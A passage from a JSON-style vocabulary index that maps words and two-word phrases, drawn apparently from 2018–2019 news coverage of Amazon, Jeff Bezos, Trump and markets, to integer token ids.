"families contributed": 203471, "bur": 203472, "actually helps": 203473, "displace": 203474, "misogynist": 203475, "bourdain death": 203476, "leader masterful": 203477, "anticipate": 203478, "elite marquette": 203479, "scare": 203480, "guest speaker": 203481, "numbers numbers": 203482, "market worth": 203483, "2004": 203484, "sleaziest tabloid": 203485, "vt dinged": 203486, "reveals stark": 203487, "position story": 203488, "laura reiley": 203489, "origin ethnicity": 203490, "slavic chinese": 203491, "happening economy": 203492, "month hours": 203493, "beautiful portfolio": 203494, "agnostic": 203495, "administration aggressively": 203496, "google explained": 203497, "regular session": 203498, "preferred platform": 203499, "ceraweek": 203500, "ap national": 203501, "loader": 203502, "kaiser buffalo": 203503, "numerically": 203504, "trump proves": 203505, "hills": 203506, "crisis investors": 203507, "pentagon spokeswoman": 203508, "pete leave": 203509, "powerhouse combining": 203510, "culver city": 203511, "honoree jeff": 203512, "fox hosts": 203513, "legitimately": 203514, "emails bezos": 203515, "rails long": 203516, "personnel management": 203517, "switzerland amazon": 203518, "fomenting nativist": 203519, "global high": 203520, "2018 chasing": 203521, "ticket included": 203522, "factored temperatures": 203523, "rbc": 203524, "bezos raise": 203525, "conversation based": 203526, "billion believe": 203527, "faang": 203528, "delayed delivery": 203529, "story calling": 203530, "iii": 203531, "southeast alaska": 203532, "equivalents": 203533, "trips sent": 203534, "trademark registration": 203535, "country president": 203536, "smaller related": 203537, "host past": 203538, "braggadocios billionaire": 203539, "amazon uses": 203540, "task nsc": 203541, "cinematography": 203542, "threatening emails": 203543, "amazon keeps": 203544, "worry cibc": 203545, "need mexico": 203546, "female based": 203547, "including carving": 203548, "expensive listings": 203549, "bombing memorial": 203550, "past alleged": 203551, "dramatic turn": 203552, "leap": 203553, "says viva": 203554, "widely subscribers": 203555, "services providers": 203556, "government authorities": 203557, "khannarohit": 203558, "economy crumble": 203559, "tomorrow morning": 203560, "respective inaugurations": 203561, "158 billion": 203562, "elizabeth krakow": 203563, "regularly": 203564, "ambitious goal": 203565, "commission reviews": 203566, "irelandandhit": 203567, "glossies going": 203568, "official jeff": 203569, "saudis trump": 203570, "life stage": 203571, "cbc chairs": 203572, "beginning": 203573, "shares rising": 203574, "reciprocated": 203575, "flibs": 203576, "ninth printing": 203577, "happy anniversary": 203578, "taxpayers collectively": 203579, "multitude": 203580, "short url": 203581, "instead distinguish": 203582, "life okeechobee": 203583, "skills chief": 203584, "2018 barron": 203585, "says bergh": 203586, "vaccine package": 203587, "x0 function": 203588, "wme talent": 203589, "customer management": 203590, "rise": 203591, "buying homes": 203592, "trump asks": 203593, "steadman": 203594, "condemns bid": 203595, "building infrastructure": 203596, "grim retail": 203597, "lifted": 203598, "assertive trade": 203599, "strzok nato": 203600, "final chapter": 203601, "marketforce survey": 203602, "mccabe talks": 203603, "brazilian agriculture": 203604, "immediate political": 203605, "cordova": 203606, "disobeying orders": 203607, "highly disturbing": 203608, "ibama": 203609, "federal agreement": 203610, "issue twitter": 203611, "enforcement agencies": 203612, "shields": 203613, "copies worldwide": 203614, "opposition including": 203615, "icmbio": 203616, "brave fighter": 203617, "trading lower": 203618, "ingraham": 203619, "cmbochner": 203620, "provide feedback": 203621, "lydia": 203622, "offer clear": 203623, "conservative critics": 203624, "original text": 203625, "trust busting": 203626, "major presences": 203627, "la merced": 203628, "minnow": 203629, "average turned": 203630, "hurricane center": 203631, "book selling": 203632, "prosecutors signed": 203633, "versus right": 203634, "quarter vhi": 203635, "purchase share": 203636, "directv blackout": 203637, "2lqswbh new": 203638, "politiciansreally": 203639, "plane crashes": 203640, "joined amazon": 203641, "open question": 203642, "investigation hasn": 203643, "finding fame": 203644, "trump fathering": 203645, "order sales": 203646, "mortgage rates": 203647, "preorders appear": 203648, "moral leadership": 203649, "legal fees": 203650, "justice denied": 203651, "mark decambre": 203652, "harm business": 203653, "trends youtube": 203654, "fisa abuse": 203655, "plays critical": 203656, "home money": 203657, "2014 larry": 203658, "cannabis midas": 203659, "just twitter": 203660, "actually going": 203661, "venue": 203662, "immediately responded": 203663, "nbcsnl make": 203664, "establish new": 203665, "overhead bins": 203666, "fosters business": 203667, "initial market": 203668, "entitled": 203669, "fears surrounding": 203670, "watchers think": 203671, "uncertainty typically": 203672, "war ends": 203673, "follower": 203674, "arizona nevada": 203675, "amazon pushing": 203676, "soy harvest": 203677, "content hari": 203678, "protected indian": 203679, "innovation advisory": 203680, "trump wig": 203681, "spots": 203682, "glazer received": 203683, "skincare products": 203684, "kovac": 203685, "added delivery": 203686, "sluggish sales": 203687, "post operates": 203688, "pumpkin fest": 203689, "poem suggests": 203690, "easygoing": 203691, "county md": 203692, "emails intimate": 203693, "powell took": 203694, "company threw": 203695, "citing numerous": 203696, "antagonist observed": 203697, "motorcycle maker": 203698, "construction materials": 203699, "latest target": 203700, "lb": 203701, "presumption": 203702, "truck air": 203703, "online sales": 203704, "bullying people": 203705, "decisions": 203706, "shmuck": 203707, "worried bezos": 203708, "justify measures": 203709, "natasha": 203710, "idea recently": 203711, "subcontracting firms": 203712, "badly wound": 203713, "gasoline prices": 203714, "latest example": 203715, "icann community": 203716, "maio": 203717, "father big": 203718, "joffre": 203719, "2025 lawmakers": 203720, "poverty rates": 203721, "business network": 203722, "promised tell": 203723, "send ideas": 203724, "boomboom": 203725, "mail read": 203726, "sexts love": 203727, "twitter twitter": 203728, "employee gross": 203729, "building according": 203730, "carefully curate": 203731, "klan jim": 203732, "bias lies": 203733, "church francis": 203734, "powerful long": 203735, "gilded status": 203736, "representing just": 203737, "advicesaying hey": 203738, "width 220": 203739, "keith afp": 203740, "write similar": 203741, "officials pushed": 203742, "content just": 203743, "tender": 203744, "landing boosts": 203745, "chadian": 203746, "services hoping": 203747, "joy harris": 203748, "pretty effective": 203749, "rocked": 203750, "dt3": 203751, "seasonally adjusted": 203752, "becker accusation": 203753, "violent invasions": 203754, "contemplate": 203755, "investment massively": 203756, "combined list": 203757, "says naeem": 203758, "president additionally": 203759, "smuggler": 203760, "veryrisky thing": 203761, "modern tales": 203762, "masterpieces": 203763, "yeah man": 203764, "stationary object": 203765, "vacant scotland": 203766, "washington times": 203767, "sent 430": 203768, "story rainier": 203769, "aligns": 203770, "stormzy": 203771, "aapl": 203772, "policy director": 203773, "administration detailed": 203774, "nabbing weekly": 203775, "think bezos": 203776, "sentiment increased": 203777, "weeks probably": 203778, "marco rubio": 203779, "time instead": 203780, "481 shares": 203781, "instigated dictated": 203782, "daringthe": 203783, "prison set": 203784, "mackenzie jeff": 203785, "consists": 203786, "enquirer appears": 203787, "boeing jets": 203788, "netanyahu": 203789, "fully audited": 203790, "indian financial": 203791, "close friendship": 203792, "europe new": 203793, "years danhof": 203794, "gcdn": 203795, "dying breed": 203796, "amazon article": 203797, "sciences exas": 203798, "investorplace nasdaq": 203799, "settlement myth": 203800, "health humor": 203801, "discovered thanks": 203802, "extorting reporters": 203803, "barely budged": 203804, "butter history": 203805, "demands": 203806, "objectively": 203807, "breaks sit": 203808, "partisan matters": 203809, "closer scrutiny": 203810, "yakitori yardbird": 203811, "travel spain": 203812, "coal scuttle": 203813, "113 500": 203814, "moving lines": 203815, "georgia academy": 203816, "school district": 203817, "law fox": 203818, "qanon baseless": 203819, "informal deal": 203820, "giant founder": 203821, "amazon state": 203822, "bush told": 203823, "president previously": 203824, "personal mourning": 203825, "catastrophic increases": 203826, "spending week": 203827, "valuable publicly": 203828, "helps boost": 203829, "years twitter": 203830, "highlights doubling": 203831, "irregularities": 203832, "savage": 203833, "advanatage": 203834, "collaborations": 203835, "alleged contents": 203836, "385x240": 203837, "page reads": 203838, "historical fiction": 203839, "machine altogether": 203840, "pelosi deputy": 203841, "prescriptive elements": 203842, "leaked sext": 203843, "inv llp": 203844, "translates": 203845, "hatred party": 203846, "industry 2018": 203847, "7000": 203848, "jason smith": 203849, "deal told": 203850, "railed": 203851, "vb": 203852, "waard": 203853, "maga camo": 203854, "true stephanopoulos": 203855, "publishing website": 203856, "reuters moving": 203857, "surreal journey": 203858, "cargo companies": 203859, "year partly": 203860, "untangling": 203861, "cohen washington": 203862, "bias lightning": 203863, "rise brazil": 203864, "northam democrat": 203865, "articles 2016": 203866, "hour competitive": 203867, "murdered organ": 203868, "apple app": 203869, "host tucker": 203870, "pushing poorer": 203871, "hardware including": 203872, "tragic consequences": 203873, "worth broke": 203874, "apparel footwear": 203875, "derechos que": 203876, "qualified workers": 203877, "jedi medium": 203878, "intraday highs": 203879, "engleman eengleman": 203880, "admitted paying": 203881, "hailey causes": 203882, "shoah": 203883, "nrcc": 203884, "drop bombshell": 203885, "institution did": 203886, "evidence jeff": 203887, "pad": 203888, "organization read": 203889, "award kingdom": 203890, "positional": 203891, "marketing good": 203892, "general john": 203893, "highfliers": 203894, "lucrative relationships": 203895, "huddle": 203896, "tweeted linking": 203897, "government continues": 203898, "obama garbage": 203899, "patronizing amazon": 203900, "improved": 203901, "menlo ventures": 203902, "70th avenue": 203903, "told washington": 203904, "warmland centre": 203905, "holtzbrinck publishers": 203906, "shared statement": 203907, "story visitors": 203908, "cut taxes": 203909, "evening shirts": 203910, "furiously investing": 203911, "close scrutiny": 203912, "trump stunning": 203913, "parent school": 203914, "integrate": 203915, "sheila": 203916, "fiction paperback": 203917, "home run": 203918, "000 sex": 203919, "insights": 203920, "stephen perrine": 203921, "kidders": 203922, "allow amazon": 203923, "actually jumped": 203924, "annum gross": 203925, "read dsa": 203926, "hawaii visit": 203927, "people particularly": 203928, "losing": 203929, "margo": 203930, "320 size": 203931, "f1 a4ee": 203932, "apple patents": 203933, "foundation closing": 203934, "minerd 2018": 203935, "salary estimates": 203936, "solid financial": 203937, "touting relentlessly": 203938, "trails hydration": 203939, "fourth amendment": 203940, "neil dhar": 203941, "bulk rates": 203942, "community space": 203943, "claims washington": 203944, "company long": 203945, "avoid taxes": 203946, "pledged billion": 203947, "empire headlineplaintext": 203948, "license calling": 203949, "jinping visited": 203950, "bezos enormous": 203951, "fact thought": 203952, "year improve": 203953, "alanna durkin": 203954, "disputed diagnosis": 203955, "urinating": 203956, "yarborough music": 203957, "china cctv": 203958, "double child": 203959, "open door": 203960, "searchable database": 203961, "ratings challenged": 203962, "day events": 203963, "plant closure": 203964, "kong matt": 203965, "videoplayer showspinner": 203966, "research analysts": 203967, "million dollar": 203968, "today look": 203969, "wisconsin story": 203970, "max aircraft": 203971, "tariff hike": 203972, "doesnt slow": 203973, "app cbs": 203974, "billion barrier": 203975, "juylcwhmga": 203976, "bbq": 203977, "aggressive allegations": 203978, "trading saudi": 203979, "weekly": 203980, "abney told": 203981, "existing fortune": 203982, "baby barrage": 203983, "subverts expectations": 203984, "2018 axel": 203985, "musing": 203986, "updatecurrentlyplaying videoid": 203987, "published raunchy": 203988, "2010 settlement": 203989, "tank worker": 203990, "public disrepute": 203991, "disappointing year": 203992, "richdicriscio": 203993, "hour seasonal": 203994, "crucial early": 203995, "bedrock": 203996, "anchor bezos": 203997, "multiple students": 203998, "originally appeared": 203999, "trump real": 204000, "infrastructure buy": 204001, "extra critically": 204002, "inducing": 204003, "nobre": 204004, "chinese technology": 204005, "numbers cause": 204006, "talley": 204007, "really amounted": 204008, "handsome": 204009, "containing alleged": 204010, "economy hit": 204011, "comcast quarter": 204012, "revenue apple": 204013, "magazine writer": 204014, "baffling entry": 204015, "korea nuclear": 204016, "convict": 204017, "underwhelm alphabet": 204018, "investment group": 204019, "centrist moderate": 204020, "current estimates": 204021, "trillion briefly": 204022, "habits amazon": 204023, "financial industry": 204024, "commuters particularly": 204025, "satanic research": 204026, "mortar shopping": 204027, "amazon 600": 204028, "gracious": 204029, "novel long": 204030, "neale hurston": 204031, "make trade": 204032, "legit": 204033, "freepressmedia": 204034, "lifestyle brands": 204035, "paper read": 204036, "amazon plenty": 204037, "cancelling 722": 204038, "mother gonna": 204039, "kindle ebooks": 204040, "paying higher": 204041, "banker real": 204042, "reshaped": 204043, "powerpoint": 204044, "normie married": 204045, "amazon internet": 204046, "gary hart": 204047, "chairperson": 204048, "palantir provides": 204049, "entails nevermind": 204050, "article amazon": 204051, "says wear": 204052, "bigger things": 204053, "1024w": 204054, "nocera": 204055, "common complaints": 204056, "ascending vertically": 204057, "mercaderes": 204058, "huebner president": 204059, "registered individual": 204060, "threatened review": 204061, "saudi dissident": 204062, "china plans": 204063, "tanker production": 204064, "pitching hot": 204065, "pay 150": 204066, "office jason": 204067, "family betrayals": 204068, "booboo": 204069, "smoother experience": 204070, "anti business": 204071, "bashes": 204072, "relevant trends": 204073, "getting kids": 204074, "seen bipartisan": 204075, "criticized twitter": 204076, "briefly blocked": 204077, "203 shares": 204078, "unearthing": 204079, "estimated 150": 204080, "plagiarism claims": 204081, "required high": 204082, "880 editorial": 204083, "based fund": 204084, "word isnt": 204085, "dna": 204086, "private plane": 204087, "breaking overnight": 204088, "selection": 204089, "hinton discusses": 204090, "week despite": 204091, "obstruct justice": 204092, "nike sneakers": 204093, "calling radical": 204094, "familiar headwinds": 204095, "hard hit": 204096, "bezos mocking": 204097, "beast jeff": 204098, "caption seattle": 204099, "national state": 204100, "amazon dji": 204101, "houten marking": 204102, "management matter": 204103, "fda 2018": 204104, "charge vendors": 204105, "enjoyed double": 204106, "kemp bob": 204107, "dictates": 204108, "overtook": 204109, "fresh round": 204110, "major investigation": 204111, "initiative amazon": 204112, "row despite": 204113, "merger arguing": 204114, "selfies taken": 204115, "midcareer": 204116, "political humor": 204117, "numerous tools": 204118, "michigan avenue": 204119, "corsi foto": 204120, "taylor joy": 204121, "subway cars": 204122, "cumbersome": 204123, "party bjp": 204124, "attendees form": 204125, "pennsylvania state": 204126, "security including": 204127, "canceled hearing": 204128, "raw materials": 204129, "night stunned": 204130, "contextual": 204131, "massive corporate": 204132, "toughest oldest": 204133, "damore": 204134, "prosecutors later": 204135, "amazon changed": 204136, "order commandeering": 204137, "supporting veterans": 204138, "democrat right": 204139, "safety board": 204140, "cdc_4594963233aeb9189cdc41a8_embed": 204141, "suborbital space": 204142, "enriched bezos": 204143, "department deal": 204144, "bing news": 204145, "sepeda miller": 204146, "pesky issue": 204147, "ken starr": 204148, "new major": 204149, "kevin spacey": 204150, "wrote increase": 204151, "armoured": 204152, "stop accusing": 204153, "difficult decisions": 204154, "country longest": 204155, "cidoni lennox": 204156, "mucci mayfield": 204157, "parking aid": 204158, "h0 z4": 204159, "trumpist right": 204160, "told cbs": 204161, "136 billion": 204162, "matter parallels": 204163, "margin improved": 204164, "significant political": 204165, "britt": 204166, "nation forest": 204167, "hope claudia": 204168, "retain exclusive": 204169, "smiling": 204170, "oregon cp": 204171, "delhi faced": 204172, "biggest corporate": 204173, "paying rent": 204174, "service ramp": 204175, "sumitomo mitsui": 204176, "edgar": 204177, "new yorktimes": 204178, "battered tech": 204179, "teenage children": 204180, "aubrey": 204181, "shipping ending": 204182, "hard schweitzer": 204183, "caustic": 204184, "contractor choosing": 204185, "horn dog": 204186, "supply spread": 204187, "twitter swiping": 204188, "called wrong": 204189, "negative taxes": 204190, "hand trust": 204191, "seller called": 204192, "sexual secrets": 204193, "website ad": 204194, "group nasdaq": 204195, "did right": 204196, "mining hardware": 204197, "story mueller": 204198, "vehemently denies": 204199, "points finger": 204200, "enquirer admitted": 204201, "television gripping": 204202, "taxi driver": 204203, "following conversation": 204204, "custom_article_footer": 204205, "awaiting employees": 204206, "puzzles designed": 204207, "rita": 204208, "american trump": 204209, "realities economic": 204210, "software european": 204211, "amazon remained": 204212, "recently paid": 204213, "33rd": 204214, "popular warehouse": 204215, "corn dr": 204216, "43539638 cc66d8b3d8354d7686ff849b53fcb798": 204217, "brought guest": 204218, "wife hanin": 204219, "assumption": 204220, "financially upside": 204221, "big world": 204222, "says john": 204223, "home franck": 204224, "told cnbc": 204225, "squandering": 204226, "political favors": 204227, "reportedly uncovered": 204228, "massive strategy": 204229, "collusion theflashback": 204230, "zakrzewski cat": 204231, "mark makela": 204232, "cheap shots": 204233, "cutting production": 204234, "character mistaking": 204235, "politics accusations": 204236, "agreeing": 204237, "don consult": 204238, "gain million": 204239, "transactions detailed": 204240, "cream raised": 204241, "obviously trump": 204242, "week victor": 204243, "influential companies": 204244, "philanthropic foundation": 204245, "normally does": 204246, "worker told": 204247, "playboy": 204248, "democracy warren": 204249, "kelly mahon": 204250, "local new": 204251, "corp cvs": 204252, "empower new": 204253, "antitrust investigators": 204254, "worried americans": 204255, "voice technology": 204256, "santa fe": 204257, "presents quandary": 204258, "getting quite": 204259, "biggest winner": 204260, "boycottwalmart trended": 204261, "2018 file": 204262, "include setting": 204263, "lavish": 204264, "sr_1_11_sspa": 204265, "new charges": 204266, "review according": 204267, "life marketwatch": 204268, "tabloid shlock": 204269, "little research": 204270, "breaking bad": 204271, "drudge": 204272, "esposito": 204273, "kobeissi": 204274, "import iranian": 204275, "program annual": 204276, "hq2 proposal": 204277, "political disputes": 204278, "extra months": 204279, "favor murphy": 204280, "philharmonic": 204281, "ended feb": 204282, "northrop grumman": 204283, "trump order": 204284, "homes stopped": 204285, "antitrust": 204286, "ad business": 204287, "today kitchen": 204288, "instagram adds": 204289, "open retirement": 204290, "bamboo material": 204291, "quickly grow": 204292, "ota business": 204293, "shots": 204294, "years jocelyn": 204295, "restructure pre": 204296, "twitter dumping": 204297, "expecting morgan": 204298, "collects data": 204299, "audio leaked": 204300, "month attack": 204301, "reworked attack": 204302, "removing trump": 204303, "carrell": 204304, "740m contract": 204305, "citing": 204306, "weird thing": 204307, "bumbles": 204308, "original measure": 204309, "years including": 204310, "allen bullied": 204311, "biggest retailers": 204312, "pretty close": 204313, "court records": 204314, "846": 204315, "balcony": 204316, "true mad": 204317, "trump little": 204318, "president kennedy": 204319, "week john": 204320, "lakefront whites": 204321, "just bunch": 204322, "trump soft": 204323, "memo targets": 204324, "park kathleen": 204325, "maintain relevance": 204326, "extra management": 204327, "psa": 204328, "intimate": 204329, "story master": 204330, "unitedhealth stock": 204331, "progressive areas": 204332, "search facebook": 204333, "dieter kempf": 204334, "sector salles": 204335, "booming trillion": 204336, "things targeted": 204337, "726 shares": 204338, "bezos reputational": 204339, "released related": 204340, "genius druckenmiller": 204341, "robust holiday": 204342, "moody anne": 204343, "reads nice": 204344, "marrying brutality": 204345, "christmas shopping": 204346, "recent outdoor": 204347, "meets putin": 204348, "increasingly erratic": 204349, "asia believe": 204350, "unannounced": 204351, "outpricing smaller": 204352, "recently imposed": 204353, "managing trademark": 204354, "trump frenemies": 204355, "slowdown": 204356, "logistics players": 204357, "dreamland16 nov": 204358, "coded language": 204359, "pay fo": 204360, "yearly awards": 204361, "beautiful food": 204362, "currenttarget": 204363, "bezos marital": 204364, "safety133": 204365, "b06y5tlnjw": 204366, "tactical weapon": 204367, "including surveillance": 204368, "losses": 204369, "pro america": 204370, "respect": 204371, "sharp slowdowns": 204372, "amid trade": 204373, "regulatory reports": 204374, "gross salary": 204375, "issues associated": 204376, "waze nest": 204377, "past mistakes": 204378, "amazon notion": 204379, "casually stepped": 204380, "temporary period": 204381, "invigorating ecosystem": 204382, "000 tech": 204383, "particular district": 204384, "chief information": 204385, "child sex": 204386, "private carriers": 204387, "preach": 204388, "seizes faux": 204389, "jealousy": 204390, "tourist development": 204391, "sweeping measure": 204392, "trump coins": 204393, "taking bribes": 204394, "crazed": 204395, "matthew liao": 204396, "neatly fit": 204397, "smoking 2019": 204398, "oversaturation": 204399, "conservative judges": 204400, "financial wealth": 204401, "hefty tariff": 204402, "implement new": 204403, "spectrem group": 204404, "office doesn": 204405, "murillo slot": 204406, "listers migrating": 204407, "steaks": 204408, "snared": 204409, "hatefully derogatory": 204410, "runs long": 204411, "fluently": 204412, "swoons": 204413, "fixing including": 204414, "bbva": 204415, "unorthodox tax": 204416, "expansion new": 204417, "following link": 204418, "vested": 204419, "truly does": 204420, "california cities": 204421, "success despite": 204422, "select": 204423, "construction": 204424, "donut brain": 204425, "cover school": 204426, "saber": 204427, "summer 2017": 204428, "council immigration": 204429, "enhanced cloud": 204430, "truly bright": 204431, "mngmt limited": 204432, "precursor": 204433, "fusco": 204434, "recognized residents": 204435, "amazon advertising": 204436, "moonves pic": 204437, "disruptive writing": 204438, "perino host": 204439, "washington bloomberg": 204440, "fadeout memphis": 204441, "seattle editing": 204442, "acquire pillpack": 204443, "impress": 204444, "000 headquarters": 204445, "making life": 204446, "state court": 204447, "china warns": 204448, "giving green": 204449, "present": 204450, "2019 guidance": 204451, "officer dana": 204452, "stopimmediatepropagation a4ee": 204453, "ring publicly": 204454, "alumni": 204455, "server719401 authors": 204456, "50th anniversary": 204457, "architecture operation": 204458, "yearlong": 204459, "accept taxpayer": 204460, "caveats": 204461, "slightest bit": 204462, "employee writes": 204463, "protect millions": 204464, "decades serving": 204465, "dollar subdued": 204466, "galling masthead": 204467, "nurses teachers": 204468, "facebook buys": 204469, "dan kohn": 204470, "handled north": 204471, "cedar": 204472, "main indexes": 204473, "separating families": 204474, "finance glassdoor": 204475, "retain labor": 204476, "forward looking": 204477, "rightward ultimately": 204478, "economy roars": 204479, "asset manager": 204480, "covering market": 204481, "specific ideas": 204482, "secure borders": 204483, "stop losses": 204484, "good life": 204485, "nicol\u00e1s": 204486, "leak politically": 204487, "ujfoqv0uzk dana": 204488, "inzaulgarat conservationists": 204489, "confronts": 204490, "changes directly": 204491, "numerous workers": 204492, "dwellings": 204493, "penalty": 204494, "question feds": 204495, "enquirer earlier": 204496, "office mojo": 204497, "shocked america": 204498, "penney": 204499, "particular company": 204500, "tweet stating": 204501, "latest change": 204502, "publicity rising": 204503, "manner jessie": 204504, "fact investing": 204505, "republicans pressure": 204506, "retires": 204507, "media hide": 204508, "walmart bergh": 204509, "resemblance": 204510, "russian interests": 204511, "components used": 204512, "cnl_filelocation money": 204513, "electricity rates": 204514, "day deliveries": 204515, "stephen warren": 204516, "profile player": 204517, "right device": 204518, "preschoolers play": 204519, "citizens": 204520, "widely perceived": 204521, "corporations tcja": 204522, "thorough evaluation": 204523, "campaign using": 204524, "feet cold": 204525, "feature blue": 204526, "alongside reps": 204527, "heavy handed": 204528, "enquirer stone": 204529, "morning joining": 204530, "turmoil surrounding": 204531, "afghan hospitals": 204532, "epidemic photo": 204533, "h2q offices": 204534, "alleged relationship": 204535, "harley": 204536, "400 different": 204537, "children sanchez": 204538, "inside school": 204539, "closed mouthed": 204540, "sold equities": 204541, "long dominated": 204542, "heel": 204543, "fold cohen": 204544, "security accusing": 204545, "debate grows": 204546, "mkm partners": 204547, "heights latest": 204548, "doesn permit": 204549, "increased billion": 204550, "house progressive": 204551, "new preschools": 204552, "kindle": 204553, "wow griffeth": 204554, "dollars share": 204555, "businesses charging": 204556, "mortar locations": 204557, "rapidly growing": 204558, "nina jurna": 204559, "levy 2019": 204560, "ongoing battles": 204561, "advised aws": 204562, "chase healthcare": 204563, "vast amounts": 204564, "consulting practice": 204565, "regret minimization": 204566, "existed product": 204567, "alleging mistreatment": 204568, "vaccination": 204569, "hill map": 204570, "mined public": 204571, "reusable": 204572, "tomorrow today": 204573, "bombay": 204574, "expected democratic": 204575, "reportedly receiving": 204576, "promote hate": 204577, "founder arrested": 204578, "dp": 204579, "swa": 204580, "combine": 204581, "explicit consent": 204582, "customers homes": 204583, "designed new": 204584, "dubious honor": 204585, "earn minimum": 204586, "fake site": 204587, "east wing": 204588, "secure relief": 204589, "parcel trade": 204590, "millions running": 204591, "disparate treatment": 204592, "2741a": 204593, "boy situation": 204594, "laptop": 204595, "lacefront": 204596, "bezos offers": 204597, "supposedly contribute": 204598, "series sharp": 204599, "helped bolster": 204600, "year applied": 204601, "potential obama": 204602, "fair thing": 204603, "rosenworcel jrosenworcel": 204604, "subway station": 204605, "mainly": 204606, "bronx district": 204607, "funder brought": 204608, "criticism aimed": 204609, "frozen elmo": 204610, "devices promise": 204611, "wisconsin anti": 204612, "tumultuous": 204613, "sent recording": 204614, "believer": 204615, "replace obamacare": 204616, "pardon people": 204617, "steamroller": 204618, "problematic literature": 204619, "guns": 204620, "extortionate": 204621, "precedent assuming": 204622, "says approval": 204623, "following followers": 204624, "weather wage": 204625, "ra shad": 204626, "energize people": 204627, "punctures amazon": 204628, "community reinvestment": 204629, "paterson did": 204630, "impeachies": 204631, "paypal": 204632, "condos": 204633, "city reserves": 204634, "mufg union": 204635, "gado amazon": 204636, "generally pay": 204637, "g0ts6yvqf9": 204638, "capital partners": 204639, "happily amazon": 204640, "whitlock did": 204641, "nbc government": 204642, "hotel rooms": 204643, "news indian": 204644, "kevin slane": 204645, "stated individuals": 204646, "mariachi child": 204647, "soros davos": 204648, "days stern": 204649, "rapidly delivering": 204650, "producer isa": 204651, "strong borders": 204652, "related source": 204653, "lasnik infringed": 204654, "risks angering": 204655, "followed amazon": 204656, "picture deal": 204657, "grew trump": 204658, "coverage 2018": 204659, "trump jokes": 204660, "league revenue": 204661, "employees walked": 204662, "claims trump": 204663, "running 98point6": 204664, "identifying criminals": 204665, "buy stake": 204666, "bauserman": 204667, "says does": 204668, "estate agent": 204669, "incentivise positive": 204670, "954 shares": 204671, "ancestry pollster": 204672, "img_bucketref null": 204673, "floor battle": 204674, "bomb investigation": 204675, "job 1536177183": 204676, "cowen": 204677, "toy story": 204678, "commuting": 204679, "europe": 204680, "bring": 204681, "aka osho": 204682, "garb": 204683, "275k": 204684, "shutdown01": 204685, "jordyn phelps": 204686, "sell facial": 204687, "michael nelson": 204688, "drowning": 204689, "socks": 204690, "stay united": 204691, "characterize": 204692, "weighs": 204693, "unwittingly": 204694, "presidency": 204695, "culture ipo": 204696, "term trade": 204697, "bull run": 204698, "monthly basis": 204699, "benefit": 204700, "list penguin": 204701, "department official": 204702, "president faces": 204703, "viking memoir": 204704, "patent protection": 204705, "doug parker": 204706, "418987": 204707, "national action": 204708, "foreclosure fraud": 204709, "hypotheekrente": 204710, "include shifting": 204711, "prominent hollywood": 204712, "vulnerable westerner": 204713, "voice art": 204714, "protection strategy": 204715, "robinson kenan": 204716, "trust hank": 204717, "learning activites": 204718, "know tips": 204719, "2420": 204720, "arms demanding": 204721, "mining quarrying": 204722, "invasive": 204723, "big flavors": 204724, "today tell": 204725, "corporate bidding": 204726, "messages censor": 204727, "comey book": 204728, "new tongue": 204729, "pay today": 204730, "gun violence": 204731, "mins": 204732, "previously single": 204733, "jacket prerecorded": 204734, "massive size": 204735, "demand rebound": 204736, "flexible leave": 204737, "ncaa basketball": 204738, "inside job": 204739, "different outcome": 204740, "overtime hickman": 204741, "including trumps": 204742, "marketwatch cnn": 204743, "forms ranging": 204744, "president donald": 204745, "preceded sucr\u00e9": 204746, "netflix lyft": 204747, "decade attacking": 204748, "receive lower": 204749, "channel checks": 204750, "cortez helped": 204751, "card issuers": 204752, "foot locker": 204753, "yu": 204754, "place freight": 204755, "launched charm": 204756, "president andrew": 204757, "tony angelo": 204758, "highflier micron": 204759, "beer booze": 204760, "agile used": 204761, "securing customer": 204762, "stores kroger": 204763, "reader commenting": 204764, "alleging": 204765, "marginally disrupt": 204766, "2018 gross": 204767, "forum margrethe": 204768, "uk tabloid": 204769, "dakota required": 204770, "lockheed won": 204771, "marketplace operator": 204772, "shares apg": 204773, "recent snl": 204774, "reveals payment": 204775, "commission taking": 204776, "article published": 204777, "facto leader": 204778, "yorkers supported": 204779, "lax": 204780, "joins forces": 204781, "just silence": 204782, "ideas facebook": 204783, "debunking trump": 204784, "estate transfer": 204785, "explosive addressed": 204786, "divided": 204787, "frequent substitute": 204788, "licensing clause": 204789, "arguably time": 204790, "anointing": 204791, "exposed evidence": 204792, "thomas wenski": 204793, "york airs": 204794, "throwing tax": 204795, "worth watching": 204796, "osama bin": 204797, "catherine rampell": 204798, "time commissioner": 204799, "hero ocasio": 204800, "financial incentive": 204801, "stuff effectively": 204802, "lag": 204803, "news good": 204804, "latest list": 204805, "government repeatedly": 204806, "fivestar": 204807, "aside issues": 204808, "seen really": 204809, "worst bullies": 204810, "nakamura": 204811, "6pm": 204812, "2013 showing": 204813, "production coming": 204814, "time believing": 204815, "doctrine greatly": 204816, "hq2 announcement": 204817, "narrative creating": 204818, "book presented": 204819, "running deficits": 204820, "high cost": 204821, "kink": 204822, "kaczynski christopher": 204823, "independent regulator": 204824, "community amazon": 204825, "interesting curiosity": 204826, "affect amazon": 204827, "amazon commitment": 204828, "centers including": 204829, "carried signs": 204830, "hardware right": 204831, "shutdown surpassed": 204832, "koons cindy": 204833, "wants mexico": 204834, "midday london": 204835, "telling dwyre": 204836, "better intervene": 204837, "curve inflation": 204838, "instead focusing": 204839, "businesses told": 204840, "says 2019": 204841, "democrats label": 204842, "pals including": 204843, "trump base": 204844, "hosting defense": 204845, "reviews haven": 204846, "month observation": 204847, "instance stipulates": 204848, "republican dominated": 204849, "annual rate": 204850, "issues maybe": 204851, "hpq": 204852, "wmt posted": 204853, "fallout continues": 204854, "700 voice": 204855, "organization pen": 204856, "exhibiting pattern": 204857, "systematically favored": 204858, "instead driven": 204859, "tom cooper": 204860, "advisers including": 204861, "baja california": 204862, "answered": 204863, "bros": 204864, "jedi demonstrates": 204865, "businesses add": 204866, "decides": 204867, "conductor": 204868, "rheinberg": 204869, "lifelong education": 204870, "brittny": 204871, "nahmias nickniedz": 204872, "announced information": 204873, "service claim": 204874, "rubbersole work": 204875, "2_5 ad": 204876, "markets employees": 204877, "mccarthy calif": 204878, "7b": 204879, "fact congress": 204880, "workers demanding": 204881, "joe host": 204882, "avowed backer": 204883, "wants billions": 204884, "johnking thank": 204885, "world used": 204886, "companies owned": 204887, "bias censorship": 204888, "currentvidobj videoid": 204889, "newsday anna": 204890, "585 businesses": 204891, "knights hockey": 204892, "settlement blame": 204893, "president heads": 204894, "fucking shit": 204895, "deduction": 204896, "makes 75pc": 204897, "9411680da8c6402caa7d14b071daa953 tdy1rrxyabos6nze": 204898, "profited": 